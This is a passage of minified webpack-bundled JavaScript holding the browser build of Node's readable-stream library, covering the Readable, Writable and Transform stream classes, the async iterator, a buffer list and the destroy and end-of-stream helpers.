a,this.length=0,this.pipes=null,this.pipesCount=0,this.flowing=null,this.ended=!1,this.endEmitted=!1,this.reading=!1,this.sync=!0,this.needReadable=!1,this.emittedReadable=!1,this.readableListening=!1,this.resumeScheduled=!1,this.paused=!0,this.emitClose=j.emitClose!==!1,this.autoDestroy=!!j.autoDestroy,this.destroyed=!1,this.defaultEncoding=j.defaultEncoding||"utf8",this.awaitDrain=0,this.readingMore=!1,this.decoder=null,this.encoding=null,j.encoding&&(v||(v=e(68019).s),this.decoder=new v(j.encoding),this.encoding=j.encoding)}function n(j){if(P=P||e(37865),!(this instanceof n))return new n(j);var K=this instanceof P;this._readableState=new m(j,this,K),this.readable=!0,j&&(typeof j.read=="function"&&(this._read=j.read),typeof j.destroy=="function"&&(this._destroy=j.destroy)),L.call(this)}Object.defineProperty(n.prototype,"destroyed",{enumerable:!1,get:function(){return this._readableState===void 0?!1:this._readableState.destroyed},set:function(K){this._readableState&&(this._readableState.destroyed=K)}}),n.prototype.destroy=l.destroy,n.prototype._undestroy=l.undestroy,n.prototype._destroy=function(j,K){K(j)},n.prototype.push=function(j,K){var oe=this._readableState,re;return oe.objectMode?re=!0:typeof j=="string"&&(K=K||oe.defaultEncoding,K!==oe.encoding&&(j=S.from(j,K),K=""),re=!0),C(this,j,K,!1,re)},n.prototype.unshift=function(j){return C(this,j,null,!0,!1)};function C(j,K,oe,re,le){f("readableAddChunk",K);var pe=j._readableState;if(K===null)pe.reading=!1,F(j,pe);else{var we;if(le||(we=I(pe,K)),we)E(j,we);else if(pe.objectMode||K&&K.length>0)if(typeof K!="string"&&!pe.objectMode&&Object.getPrototypeOf(K)!==S.prototype&&(K=g(K)),re)pe.endEmitted?E(j,new i):x(j,pe,K,!0);else if(pe.ended)E(j,new b);else{if(pe.destroyed)return!1;pe.reading=!1,pe.decoder&&!oe?(K=pe.decoder.write(K),pe.objectMode||K.length!==0?x(j,pe,K,!1):N(j,pe)):x(j,pe,K,!1)}else re||(pe.reading=!1,N(j,pe))}return!pe.ended&&(pe.length<pe.highWaterMark||pe.length===0)}function x(j,K,oe,re){K.flowing&&K.length===0&&!K.sync?(K.awaitDrain=0,j.emit("data",oe)):(K.length+=K.objectMode?1:oe.length,re?K.buffer.unshift(oe):K.buffer.push(oe),K.needReadable&&O(j)),N(j,K)}function I(j,K){var oe;return!t(K)&&typeof K!="string"&&K!==void 0&&!j.objectMode&&(oe=new c("chunk",["string","Buffer","Uint8Array"],K)),oe}n.prototype.isPaused=function(){return this._readableState.flowing===!1},n.prototype.setEncoding=function(j){v||(v=e(68019).s);var K=new v(j);this._readableState.decoder=K,this._readableState.encoding=this._readableState.decoder.encoding;for(var oe=this._readableState.buffer.head,re="";oe!==null;)re+=K.write(oe.data),oe=oe.next;return this._readableState.buffer.clear(),re!==""&&this._readableState.buffer.push(re),this._readableState.length=re.length,this};var k=1073741824;function B(j){return j>=k?j=k:(j--,j|=j>>>1,j|=j>>>2,j|=j>>>4,j|=j>>>8,j|=j>>>16,j++),j}function _(j,K){return j<=0||K.length===0&&K.ended?0:K.objectMode?1:j!==j?K.flowing&&K.length?K.buffer.head.data.length:K.length:(j>K.highWaterMark&&(K.highWaterMark=B(j)),j<=K.length?j:K.ended?K.length:(K.needReadable=!0,0))}n.prototype.read=function(j){f("read",j),j=parseInt(j,10);var K=this._readableState,oe=j;if(j!==0&&(K.emittedReadable=!1),j===0&&K.needReadable&&((K.highWaterMark!==0?K.length>=K.highWaterMark:K.length>0)||K.ended))return f("read: emitReadable",K.length,K.ended),K.length===0&&K.ended?Y(this):O(this),null;if(j=_(j,K),j===0&&K.ended)return K.length===0&&Y(this),null;var re=K.needReadable;f("need readable",re),(K.length===0||K.length-j<K.highWaterMark)&&(re=!0,f("length less than watermark",re)),K.ended||K.reading?(re=!1,f("reading or ended",re)):re&&(f("do read"),K.reading=!0,K.sync=!0,K.length===0&&(K.needReadable=!0),this._read(K.highWaterMark),K.sync=!1,K.reading||(j=_(oe,K)));var le;return j>0?le=V(j,K):le=null,le===null?(K.needReadable=K.length<=K.highWaterMark,j=0):(K.length-=j,K.awaitDrain=0),K.length===0&&(K.ended||(K.needReadable=!0),oe!==j&&K.ended&&Y(this)),le!==null&&this.emit("data",le),le};function F(j,K){if(f("onEofChunk"),!K.ended){if(K.decoder){var oe=K.decoder.end();oe&&oe.length&&(K.buffer.push(oe),K.length+=K.objectMode?1:oe.length)}K.ended=!0,K.sync?O(j):(K.needReadable=!1,K.emittedReadable||(K.emittedReadable=!0,z(j)))}}function O(j){var K=j._readableState;f("emitReadable",K.needReadable,K.emittedReadable),K.needReadable=!1,K.emittedReadable||(f("emitReadable",K.flowing),K.emittedReadable=!0,M.nextTick(z,j))}function z(j){var K=j._readableState;f("emitReadable_",K.destroyed,K.length,K.ended),!K.destroyed&&(K.length||K.ended)&&(j.emit("readable"),K.emittedReadable=!1),K.needReadable=!K.flowing&&!K.ended&&K.length<=K.highWaterMark,W(j)}function N(j,K){K.readingMore||(K.readingMore=!0,M.nextTick(G,j,K))}function G(j,K){for(;!K.reading&&!K.ended&&(K.length<K.highWaterMark||K.flowing&&K.length===0);){var oe=K.length;if(f("maybeReadMore read 0"),j.read(0),oe===K.length)break}K.readingMore=!1}n.prototype._read=function(j){E(this,new h("_read()"))},n.prototype.pipe=function(j,K){var oe=this,re=this._readableState;switch(re.pipesCount){case 0:re.pipes=j;break;case 1:re.pipes=[re.pipes,j];break;default:re.pipes.push(j);break}re.pipesCount+=1,f("pipe count=%d opts=%j",re.pipesCount,K);var le=(!K||K.end!==!1)&&j!==M.stdout&&j!==M.stderr,pe=le?xe:Ce;re.endEmitted?M.nextTick(pe):oe.once("end",pe),j.on("unpipe",we);function we(Be,$e){f("onunpipe"),Be===oe&&$e&&$e.hasUnpiped===!1&&($e.hasUnpiped=!0,be())}function xe(){f("onend"),j.end()}var ke=J(oe);j.on("drain",ke);var _e=!1;function be(){f("cleanup"),j.removeListener("close",Fe),j.removeListener("finish",Oe),j.removeListener("drain",ke),j.removeListener("error",Te),j.removeListener("unpipe",we),oe.removeListener("end",xe),oe.removeListener("end",Ce),oe.removeListener("data",ge),_e=!0,re.awaitDrain&&(!j._writableState||j._writableState.needDrain)&&ke()}oe.on("data",ge);function ge(Be){f("ondata");var $e=j.write(Be);f("dest.write",$e),$e===!1&&((re.pipesCount===1&&re.pipes===j||re.pipesCount>1&&ie(re.pipes,j)!==-1)&&!_e&&(f("false write response, pause",re.awaitDrain),re.awaitDrain++),oe.pause())}function Te(Be){f("onerror",Be),Ce(),j.removeListener("error",Te),o(j,"error")===0&&E(j,Be)}A(j,"error",Te);function Fe(){j.removeListener("finish",Oe),Ce()}j.once("close",Fe);function Oe(){f("onfinish"),j.removeListener("close",Fe),Ce()}j.once("finish",Oe);function Ce(){f("unpipe"),oe.unpipe(j)}return j.emit("pipe",oe),re.flowing||(f("pipe resume"),oe.resume()),j};function J(j){return function(){var oe=j._readableState;f("pipeOnDrain",oe.awaitDrain),oe.awaitDrain&&oe.awaitDrain--,oe.awaitDrain===0&&o(j,"data")&&(oe.flowing=!0,W(j))}}n.prototype.unpipe=function(j){var K=this._readableState,oe={hasUnpiped:!1};if(K.pipesCount===0)return this;if(K.pipesCount===1)return j&&j!==K.pipes?this:(j||(j=K.pipes),K.pipes=null,K.pipesCount=0,K.flowing=!1,j&&j.emit("unpipe",this,oe),this);if(!j){var re=K.pipes,le=K.pipesCount;K.pipes=null,K.pipesCount=0,K.flowing=!1;for(var pe=0;pe<le;pe++)re[pe].emit("unpipe",this,{hasUnpiped:!1});return this}var we=ie(K.pipes,j);return we===-1?this:(K.pipes.splice(we,1),K.pipesCount-=1,K.pipesCount===1&&(K.pipes=K.pipes[0]),j.emit("unpipe",this,oe),this)},n.prototype.on=function(j,K){var oe=L.prototype.on.call(this,j,K),re=this._readableState;return j==="data"?(re.readableListening=this.listenerCount("readable")>0,re.flowing!==!1&&this.resume()):j==="readable"&&!re.endEmitted&&!re.readableListening&&(re.readableListening=re.needReadable=!0,re.flowing=!1,re.emittedReadable=!1,f("on readable",re.length,re.reading),re.length?O(this):re.reading||M.nextTick(ne,this)),oe},n.prototype.addListener=n.prototype.on,n.prototype.removeListener=function(j,K){var oe=L.prototype.removeListener.call(this,j,K);return j==="readable"&&M.nextTick(q,this),oe},n.prototype.removeAllListeners=function(j){var K=L.prototype.removeAllListeners.apply(this,arguments);return(j==="readable"||j===void 0)&&M.nextTick(q,this),K};function q(j){var K=j._readableState;K.readableListening=j.listenerCount("readable")>0,K.resumeScheduled&&!K.paused?K.flowing=!0:j.listenerCount("data")>0&&j.resume()}function ne(j){f("readable nexttick read 0"),j.read(0)}n.prototype.resume=function(){var j=this._readableState;return j.flowing||(f("resume"),j.flowing=!j.readableListening,fe(this,j)),j.paused=!1,this};function fe(j,K){K.resumeScheduled||(K.resumeScheduled=!0,M.nextTick(X,j,K))}function X(j,K){f("resume",K.reading),K.reading||j.read(0),K.resumeScheduled=!1,j.emit("resume"),W(j),K.flowing&&!K.reading&&j.read(0)}n.prototype.pause=function(){return f("call pause flowing=%j",this._readableState.flowing),this._readableState.flowing!==!1&&(f("pause"),this._readableState.flowing=!1,this.emit("pause")),this._readableState.paused=!0,this};function W(j){var K=j._readableState;for(f("flow",K.flowing);K.flowing&&j.read()!==null;);}n.prototype.wrap=function(j){var K=this,oe=this._readableState,re=!1;j.on("end",function(){if(f("wrapped end"),oe.decoder&&!oe.ended){var we=oe.decoder.end();we&&we.length&&K.push(we)}K.push(null)}),j.on("data",function(we){if(f("wrapped data"),oe.decoder&&(we=oe.decoder.write(we)),!(oe.objectMode&&we==null)&&!(!oe.objectMode&&(!we||!we.length))){var xe=K.push(we);xe||(re=!0,j.pause())}});for(var le in j)this[le]===void 0&&typeof j[le]=="function"&&(this[le]=function(xe){return function(){return j[xe].apply(j,arguments)}}(le));for(var pe=0;pe<p.length;pe++)j.on(p[pe],this.emit.bind(this,p[pe]));return this._read=function(we){f("wrapped _read",we),re&&(re=!1,j.resume())},this},typeof Symbol=="function"&&(n.prototype[Symbol.asyncIterator]=function(){return T===void 0&&(T=e(68221)),T(this)}),Object.defineProperty(n.prototype,"readableHighWaterMark",{enumerable:!1,get:function(){return this._readableState.highWaterMark}}),Object.defineProperty(n.prototype,"readableBuffer",{enumerable:!1,get:function(){return this._readableState&&this._readableState.buffer}}),Object.defineProperty(n.prototype,"readableFlowing",{enumerable:!1,get:function(){return this._readableState.flowing},set:function(K){this._readableState&&(this._readableState.flowing=K)}}),n._fromList=V,Object.defineProperty(n.prototype,"readableLength",{enumerable:!1,get:function(){return this._readableState.length}});function V(j,K){if(K.length===0)return null;var oe;return K.objectMode?oe=K.buffer.shift():!j||j>=K.length?(K.decoder?oe=K.buffer.join(""):K.buffer.length===1?oe=K.buffer.first():oe=K.buffer.concat(K.length),K.buffer.clear()):oe=K.buffer.consume(j,K.decoder),oe}function Y(j){var K=j._readableState;f("endReadable",K.endEmitted),K.endEmitted||(K.ended=!0,M.nextTick(Q,K,j))}function Q(j,K){if(f("endReadableNT",j.endEmitted,j.length),!j.endEmitted&&j.length===0&&(j.endEmitted=!0,K.readable=!1,K.emit("end"),j.autoDestroy)){var oe=K._writableState;(!oe||oe.autoDestroy&&oe.finished)&&K.destroy()}}typeof Symbol=="function"&&(n.from=function(j,K){return w===void 0&&(w=e(31748)),w(n,j,K)});function ie(j,K){for(var oe=0,re=j.length;oe<re;oe++)if(j[oe]===K)return oe;return-1}},74308:function(te,Z,e){te.exports=t;var M=e(74322).q,P=M.ERR_METHOD_NOT_IMPLEMENTED,o=M.ERR_MULTIPLE_CALLBACK,L=M.ERR_TRANSFORM_ALREADY_TRANSFORMING,S=M.ERR_TRANSFORM_WITH_LENGTH_0,d=e(37865);e(42018)(t,d);function g(a,l){var u=this._transformState;u.transforming=!1;var s=u.writecb;if(s===null)return this.emit("error",new o);u.writechunk=null,u.writecb=null,l!=null&&this.push(l),s(a);var y=this._readableState;y.reading=!1,(y.needReadable||y.length<y.highWaterMark)&&this._read(y.highWaterMark)}function t(a){if(!(this instanceof t))return new t(a);d.call(this,a),this._transformState={afterTransform:g.bind(this),needTransform:!1,transforming:!1,writecb:null,writechunk:null,writeencoding:null},this._readableState.needReadable=!0,this._readableState.sync=!1,a&&(typeof a.transform=="function"&&(this._transform=a.transform),typeof a.flush=="function"&&(this._flush=a.flush)),this.on("prefinish",r)}function r(){var a=this;typeof this._flush=="function"&&!this._readableState.destroyed?this._flush(function(l,u){f(a,l,u)}):f(this,null,null)}t.prototype.push=function(a,l){return this._transformState.needTransform=!1,d.prototype.push.call(this,a,l)},t.prototype._transform=function(a,l,u){u(new P("_transform()"))},t.prototype._write=function(a,l,u){var s=this._transformState;if(s.writecb=u,s.writechunk=a,s.writeencoding=l,!s.transforming){var y=this._readableState;(s.needTransform||y.needReadable||y.length<y.highWaterMark)&&this._read(y.highWaterMark)}},t.prototype._read=function(a){var l=this._transformState;l.writechunk!==null&&!l.transforming?(l.transforming=!0,this._transform(l.writechunk,l.writeencoding,l.afterTransform)):l.needTransform=!0},t.prototype._destroy=function(a,l){d.prototype._destroy.call(this,a,function(u){l(u)})};function f(a,l,u){if(l)return a.emit("error",l);if(u!=null&&a.push(u),a._writableState.length)throw new S;if(a._transformState.transforming)throw new L;return a.push(null)}},37493:function(te,Z,e){var M=e(90386);te.exports=m;function P(W){var V=this;this.next=null,this.entry=null,this.finish=function(){X(V,W)}}var o;m.WritableState=p;var L={deprecate:e(20588)},S=e(71405),d=e(12856).Buffer,g=e.g.Uint8Array||function(){};function t(W){return d.from(W)}function r(W){return d.isBuffer(W)||W instanceof g}var f=e(65756),a=e(56306),l=a.getHighWaterMark,u=e(74322).q,s=u.ERR_INVALID_ARG_TYPE,y=u.ERR_METHOD_NOT_IMPLEMENTED,c=u.ERR_MULTIPLE_CALLBACK,b=u.ERR_STREAM_CANNOT_PIPE,h=u.ERR_STREAM_DESTROYED,i=u.ERR_STREAM_NULL_VALUES,v=u.ERR_STREAM_WRITE_AFTER_END,T=u.ERR_UNKNOWN_ENCODING,w=f.errorOrDestroy;e(42018)(m,S);function E(){}function p(W,V,Y){o=o||e(37865),W=W||{},typeof Y!="boolean"&&(Y=V instanceof o),this.objectMode=!!W.objectMode,Y&&(this.objectMode=this.objectMode||!!W.writableObjectMode),this.highWaterMark=l(this,W,"writableHighWaterMark",Y),this.finalCalled=!1,this.needDrain=!1,this.ending=!1,this.ended=!1,this.finished=!1,this.destroyed=!1;var Q=W.decodeStrings===!1;this.decodeStrings=!Q,this.defaultEncoding=W.defaultEncoding||"utf8",this.length=0,this.writing=!1,this.corked=0,this.sync=!0,this.bufferProcessing=!1,this.onwrite=function(ie){F(V,ie)},this.writecb=null,this.writelen=0,this.bufferedRequest=null,this.lastBufferedRequest=null,this.pendingcb=0,this.prefinished=!1,this.errorEmitted=!1,this.emitClose=W.emitClose!==!1,this.autoDestroy=!!W.autoDestroy,this.bufferedRequestCount=0,this.corkedRequestsFree=new P(this)}p.prototype.getBuffer=function(){for(var V=this.bufferedRequest,Y=[];V;)Y.push(V),V=V.next;return Y},function(){try{Object.defineProperty(p.prototype,"buffer",{get:L.deprecate(function(){return this.getBuffer()},"_writableState.buffer is deprecated. Use _writableState.getBuffer instead.","DEP0003")})}catch{}}();var A;typeof Symbol=="function"&&Symbol.hasInstance&&typeof Function.prototype[Symbol.hasInstance]=="function"?(A=Function.prototype[Symbol.hasInstance],Object.defineProperty(m,Symbol.hasInstance,{value:function(V){return A.call(this,V)?!0:this!==m?!1:V&&V._writableState instanceof p}})):A=function(V){return V instanceof this};function m(W){o=o||e(37865);var V=this instanceof o;if(!V&&!A.call(m,this))return new m(W);this._writableState=new p(W,this,V),this.writable=!0,W&&(typeof W.write=="function"&&(this._write=W.write),typeof W.writev=="function"&&(this._writev=W.writev),typeof W.destroy=="function"&&(this._destroy=W.destroy),typeof W.final=="function"&&(this._final=W.final)),S.call(this)}m.prototype.pipe=function(){w(this,new b)};function n(W,V){var Y=new v;w(W,Y),M.nextTick(V,Y)}function C(W,V,Y,Q){var ie;return Y===null?ie=new i:typeof Y!="string"&&!V.objectMode&&(ie=new s("chunk",["string","Buffer"],Y)),ie?(w(W,ie),M.nextTick(Q,ie),!1):!0}m.prototype.write=function(W,V,Y){var Q=this._writableState,ie=!1,j=!Q.objectMode&&r(W);return j&&!d.isBuffer(W)&&(W=t(W)),typeof V=="function"&&(Y=V,V=null),j?V="buffer":V||(V=Q.defaultEncoding),typeof Y!="function"&&(Y=E),Q.ending?n(this,Y):(j||C(this,Q,W,Y))&&(Q.pendingcb++,ie=I(this,Q,j,W,V,Y)),ie},m.prototype.cork=function(){this._writableState.corked++},m.prototype.uncork=function(){var W=this._writableState;W.corked&&(W.corked--,!W.writing&&!W.corked&&!W.bufferProcessing&&W.bufferedRequest&&N(this,W))},m.prototype.setDefaultEncoding=function(V){if(typeof V=="string"&&(V=V.toLowerCase()),!(["hex","utf8","utf-8","ascii","binary","base64","ucs2","ucs-2","utf16le","utf-16le","raw"].indexOf((V+"").toLowerCase())>-1))throw new T(V);return this._writableState.defaultEncoding=V,this},Object.defineProperty(m.prototype,"writableBuffer",{enumerable:!1,get:function(){return this._writableState&&this._writableState.getBuffer()}});function x(W,V,Y){return!W.objectMode&&W.decodeStrings!==!1&&typeof V=="string"&&(V=d.from(V,Y)),V}Object.defineProperty(m.prototype,"writableHighWaterMark",{enumerable:!1,get:function(){return this._writableState.highWaterMark}});function I(W,V,Y,Q,ie,j){if(!Y){var K=x(V,Q,ie);Q!==K&&(Y=!0,ie="buffer",Q=K)}var oe=V.objectMode?1:Q.length;V.length+=oe;var re=V.length<V.highWaterMark;if(re||(V.needDrain=!0),V.writing||V.corked){var le=V.lastBufferedRequest;V.lastBufferedRequest={chunk:Q,encoding:ie,isBuf:Y,callback:j,next:null},le?le.next=V.lastBufferedRequest:V.bufferedRequest=V.lastBufferedRequest,V.bufferedRequestCount+=1}else k(W,V,!1,oe,Q,ie,j);return re}function k(W,V,Y,Q,ie,j,K){V.writelen=Q,V.writecb=K,V.writing=!0,V.sync=!0,V.destroyed?V.onwrite(new h("write")):Y?W._writev(ie,V.onwrite):W._write(ie,j,V.onwrite),V.sync=!1}function B(W,V,Y,Q,ie){--V.pendingcb,Y?(M.nextTick(ie,Q),M.nextTick(ne,W,V),W._writableState.errorEmitted=!0,w(W,Q)):(ie(Q),W._writableState.errorEmitted=!0,w(W,Q),ne(W,V))}function _(W){W.writing=!1,W.writecb=null,W.length-=W.writelen,W.writelen=0}function F(W,V){var Y=W._writableState,Q=Y.sync,ie=Y.writecb;if(typeof ie!="function")throw new c;if(_(Y),V)B(W,Y,Q,V,ie);else{var j=G(Y)||W.destroyed;!j&&!Y.corked&&!Y.bufferProcessing&&Y.bufferedRequest&&N(W,Y),Q?M.nextTick(O,W,Y,j,ie):O(W,Y,j,ie)}}function O(W,V,Y,Q){Y||z(W,V),V.pendingcb--,Q(),ne(W,V)}function z(W,V){V.length===0&&V.needDrain&&(V.needDrain=!1,W.emit("drain"))}function N(W,V){V.bufferProcessing=!0;var Y=V.bufferedRequest;if(W._writev&&Y&&Y.next){var Q=V.bufferedRequestCount,ie=new Array(Q),j=V.corkedRequestsFree;j.entry=Y;for(var K=0,oe=!0;Y;)ie[K]=Y,Y.isBuf||(oe=!1),Y=Y.next,K+=1;ie.allBuffers=oe,k(W,V,!0,V.length,ie,"",j.finish),V.pendingcb++,V.lastBufferedRequest=null,j.next?(V.corkedRequestsFree=j.next,j.next=null):V.corkedRequestsFree=new P(V),V.bufferedRequestCount=0}else{for(;Y;){var re=Y.chunk,le=Y.encoding,pe=Y.callback,we=V.objectMode?1:re.length;if(k(W,V,!1,we,re,le,pe),Y=Y.next,V.bufferedRequestCount--,V.writing)break}Y===null&&(V.lastBufferedRequest=null)}V.bufferedRequest=Y,V.bufferProcessing=!1}m.prototype._write=function(W,V,Y){Y(new y("_write()"))},m.prototype._writev=null,m.prototype.end=function(W,V,Y){var Q=this._writableState;return typeof W=="function"?(Y=W,W=null,V=null):typeof V=="function"&&(Y=V,V=null),W!=null&&this.write(W,V),Q.corked&&(Q.corked=1,this.uncork()),Q.ending||fe(this,Q,Y),this},Object.defineProperty(m.prototype,"writableLength",{enumerable:!1,get:function(){return this._writableState.length}});function G(W){return W.ending&&W.length===0&&W.bufferedRequest===null&&!W.finished&&!W.writing}function J(W,V){W._final(function(Y){V.pendingcb--,Y&&w(W,Y),V.prefinished=!0,W.emit("prefinish"),ne(W,V)})}function q(W,V){!V.prefinished&&!V.finalCalled&&(typeof W._final=="function"&&!V.destroyed?(V.pendingcb++,V.finalCalled=!0,M.nextTick(J,W,V)):(V.prefinished=!0,W.emit("prefinish")))}function ne(W,V){var Y=G(V);if(Y&&(q(W,V),V.pendingcb===0&&(V.finished=!0,W.emit("finish"),V.autoDestroy))){var Q=W._readableState;(!Q||Q.autoDestroy&&Q.endEmitted)&&W.destroy()}return Y}function fe(W,V,Y){V.ending=!0,ne(W,V),Y&&(V.finished?M.nextTick(Y):W.once("finish",Y)),V.ended=!0,W.writable=!1}function X(W,V,Y){var Q=W.entry;for(W.entry=null;Q;){var ie=Q.callback;V.pendingcb--,ie(Y),Q=Q.next}V.corkedRequestsFree.next=W}Object.defineProperty(m.prototype,"destroyed",{enumerable:!1,get:function(){return this._writableState===void 0?!1:this._writableState.destroyed},set:function(V){this._writableState&&(this._writableState.destroyed=V)}}),m.prototype.destroy=f.destroy,m.prototype._undestroy=f.undestroy,m.prototype._destroy=function(W,V){V(W)}},68221:function(te,Z,e){var M=e(90386),P;function o(i,v,T){return v in i?Object.defineProperty(i,v,{value:T,enumerable:!0,configurable:!0,writable:!0}):i[v]=T,i}var L=e(12726),S=Symbol("lastResolve"),d=Symbol("lastReject"),g=Symbol("error"),t=Symbol("ended"),r=Symbol("lastPromise"),f=Symbol("handlePromise"),a=Symbol("stream");function l(i,v){return{value:i,done:v}}function u(i){var v=i[S];if(v!==null){var T=i[a].read();T!==null&&(i[r]=null,i[S]=null,i[d]=null,v(l(T,!1)))}}function s(i){M.nextTick(u,i)}function y(i,v){return function(T,w){i.then(function(){if(v[t]){T(l(void 0,!0));return}v[f](T,w)},w)}}var c=Object.getPrototypeOf(function(){}),b=Object.setPrototypeOf((P={get stream(){return this[a]},next:function(){var v=this,T=this[g];if(T!==null)return Promise.reject(T);if(this[t])return Promise.resolve(l(void 0,!0));if(this[a].destroyed)return new Promise(function(A,m){M.nextTick(function(){v[g]?m(v[g]):A(l(void 0,!0))})});var w=this[r],E;if(w)E=new Promise(y(w,this));else{var p=this[a].read();if(p!==null)return Promise.resolve(l(p,!1));E=new Promise(this[f])}return this[r]=E,E}},o(P,Symbol.asyncIterator,function(){return this}),o(P,"return",function(){var v=this;return new Promise(function(T,w){v[a].destroy(null,function(E){if(E){w(E);return}T(l(void 0,!0))})})}),P),c),h=function(v){var T,w=Object.create(b,(T={},o(T,a,{value:v,writable:!0}),o(T,S,{value:null,writable:!0}),o(T,d,{value:null,writable:!0}),o(T,g,{value:null,writable:!0}),o(T,t,{value:v._readableState.endEmitted,writable:!0}),o(T,f,{value:function(p,A){var m=w[a].read();m?(w[r]=null,w[S]=null,w[d]=null,p(l(m,!1))):(w[S]=p,w[d]=A)},writable:!0}),T));return w[r]=null,L(v,function(E){if(E&&E.code!=="ERR_STREAM_PREMATURE_CLOSE"){var p=w[d];p!==null&&(w[r]=null,w[S]=null,w[d]=null,p(E)),w[g]=E;return}var A=w[S];A!==null&&(w[r]=null,w[S]=null,w[d]=null,A(l(void 0,!0))),w[t]=!0}),v.on("readable",s.bind(null,w)),w};te.exports=h},31125:function(te,Z,e){function M(u,s){var y=Object.keys(u);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(u);s&&(c=c.filter(function(b){return Object.getOwnPropertyDescriptor(u,b).enumerable})),y.push.apply(y,c)}return y}function P(u){for(var s=1;s<arguments.length;s++){var y=arguments[s]!=null?arguments[s]:{};s%2?M(Object(y),!0).forEach(function(c){o(u,c,y[c])}):Object.getOwnPropertyDescriptors?Object.defineProperties(u,Object.getOwnPropertyDescriptors(y)):M(Object(y)).forEach(function(c){Object.defineProperty(u,c,Object.getOwnPropertyDescriptor(y,c))})}return u}function o(u,s,y){return s in u?Object.defineProperty(u,s,{value:y,enumerable:!0,configurable:!0,writable:!0}):u[s]=y,u}function L(u,s){if(!(u instanceof s))throw new TypeError("Cannot call a class as a function")}function S(u,s){for(var y=0;y<s.length;y++){var c=s[y];c.enumerable=c.enumerable||!1,c.configurable=!0,"value"in c&&(c.writable=!0),Object.defineProperty(u,c.key,c)}}function d(u,s,y){return s&&S(u.prototype,s),u}var g=e(12856),t=g.Buffer,r=e(69862),f=r.inspect,a=f&&f.custom||"inspect";function l(u,s,y){t.prototype.copy.call(u,s,y)}te.exports=function(){function u(){L(this,u),this.head=null,this.tail=null,this.length=0}return d(u,[{key:"push",value:function(y){var c={data:y,next:null};this.length>0?this.tail.next=c:this.head=c,this.tail=c,++this.length}},{key:"unshift",value:function(y){var c={data:y,next:this.head};this.length===0&&(this.tail=c),this.head=c,++this.length}},{key:"shift",value:function(){if(this.length!==0){var y=this.head.data;return this.length===1?this.head=this.tail=null:this.head=this.head.next,--this.length,y}}},{key:"clear",value:function(){this.head=this.tail=null,this.length=0}},{key:"join",value:function(y){if(this.length===0)return"";for(var c=this.head,b=""+c.data;c=c.next;)b+=y+c.data;return b}},{key:"concat",value:function(y){if(this.length===0)return t.alloc(0);for(var c=t.allocUnsafe(y>>>0),b=this.head,h=0;b;)l(b.data,c,h),h+=b.data.length,b=b.next;return c}},{key:"consume",value:function(y,c){var b;return y<this.head.data.length?(b=this.head.data.slice(0,y),this.head.data=this.head.data.slice(y)):y===this.head.data.length?b=this.shift():b=c?this._getString(y):this._getBuffer(y),b}},{key:"first",value:function(){return this.head.data}},{key:"_getString",value:function(y){var c=this.head,b=1,h=c.data;for(y-=h.length;c=c.next;){var i=c.data,v=y>i.length?i.length:y;if(v===i.length?h+=i:h+=i.slice(0,y),y-=v,y===0){v===i.length?(++b,c.next?this.head=c.next:this.head=this.tail=null):(this.head=c,c.data=i.slice(v));break}++b}return this.length-=b,h}},{key:"_getBuffer",value:function(y){var c=t.allocUnsafe(y),b=this.head,h=1;for(b.data.copy(c),y-=b.data.length;b=b.next;){var i=b.data,v=y>i.length?i.length:y;if(i.copy(c,c.length-y,0,v),y-=v,y===0){v===i.length?(++h,b.next?this.head=b.next:this.head=this.tail=null):(this.head=b,b.data=i.slice(v));break}++h}return this.length-=h,c}},{key:a,value:function(y,c){return f(this,P({},c,{depth:0,customInspect:!1}))}}]),u}()},65756:function(te,Z,e){var M=e(90386);function P(t,r){var f=this,a=this._readableState&&this._readableState.destroyed,l=this._writableState&&this._writableState.destroyed;return a||l?(r?r(t):t&&(this._writableState?this._writableState.errorEmitted||(this._writableState.errorEmitted=!0,M.nextTick(d,this,t)):M.nextTick(d,this,t)),this):(this._readableState&&(this._readableState.destroyed=!0),this._writableState&&(this._writableState.destroyed=!0),this._destroy(t||null,function(u){!r&&u?f._writableState?f._writableState.errorEmitted?M.nextTick(L,f):(f._writableState.errorEmitted=!0,M.nextTick(o,f,u)):M.nextTick(o,f,u):r?(M.nextTick(L,f),r(u)):M.nextTick(L,f)}),this)}function o(t,r){d(t,r),L(t)}function L(t){t._writableState&&!t._writableState.emitClose||t._readableState&&!t._readableState.emitClose||t.emit("close")}function S(){this._readableState&&(this._readableState.destroyed=!1,this._readableState.reading=!1,this._readableState.ended=!1,this._readableState.endEmitted=!1),this._writableState&&(this._writableState.destroyed=!1,this._writableState.ended=!1,this._writableState.ending=!1,this._writableState.finalCalled=!1,this._writableState.prefinished=!1,this._writableState.finished=!1,this._writableState.errorEmitted=!1)}function d(t,r){t.emit("error",r)}function g(t,r){var f=t._readableState,a=t._writableState;f&&f.autoDestroy||a&&a.autoDestroy?t.destroy(r):t.emit("error",r)}te.exports={destroy:P,undestroy:S,errorOrDestroy:g}},12726:function(te,Z,e){var M=e(74322).q.ERR_STREAM_PREMATURE_CLOSE;function P(d){var g=!1;return function(){if(!g){g=!0;for(var t=arguments.length,r=new Array(t),f=0;f<t;f++)r[f]=arguments[f];d.apply(this,r)}}}function o(){}function L(d){return d.setHeader&&typeof d.abort=="function"}function S(d,g,t){if(typeof g=="function")return S(d,null,g);g||(g={}),t=P(t||o);var r=g.readable||g.readable!==!1&&d.readable,f=g.writable||g.writable!==!1&&d.writable,a=function(){d.writable||u()},l=d._writableState&&d._writableState.finished,u=function(){f=!1,l=!0,r||t.call(d)},s=d._readableState&&d._readableState.endEmitted,y=function(){r=!1,s=!0,f||t.call(d)},c=function(v){t.call(d,v)},b=function(){var v;if(r&&!s)return(!d._readableState||!d._readableState.ended)&&(v=new M),t.call(d,v);if(f&&!l)return(!d._writableState||!d._writableState.ended)&&(v=new M),t.call(d,v)},h=function(){d.req.on("finish",u)};return L(d)?(d.on("complete",u),d.on("abort",b),d.req?h():d.on("request",h)):f&&!d._writableState&&(d.on("end",a),d.on("close",a)),d.on("end",y),d.on("finish",u),g.error!==!1&&d.on("error",c),d.on("close",b),function(){d.removeListener("complete",u),d.removeListener("abort",b),d.removeListener("request",h),d.req&&d.req.removeListener("finish",u),d.removeListener("end",a),d.removeListener("close",a),d.removeListener("finish",u),d.removeListener("end",y),d.removeListener("error",c),d.removeListener("close",b)}}te.exports=S},31748:function(te){te.exports=function(){throw new Error("Readable.from is not available in the browser")}},10168:function(te,Z,e){var M;function P(u){var s=!1;return function(){s||(s=!0,u.apply(void 0,arguments))}}var 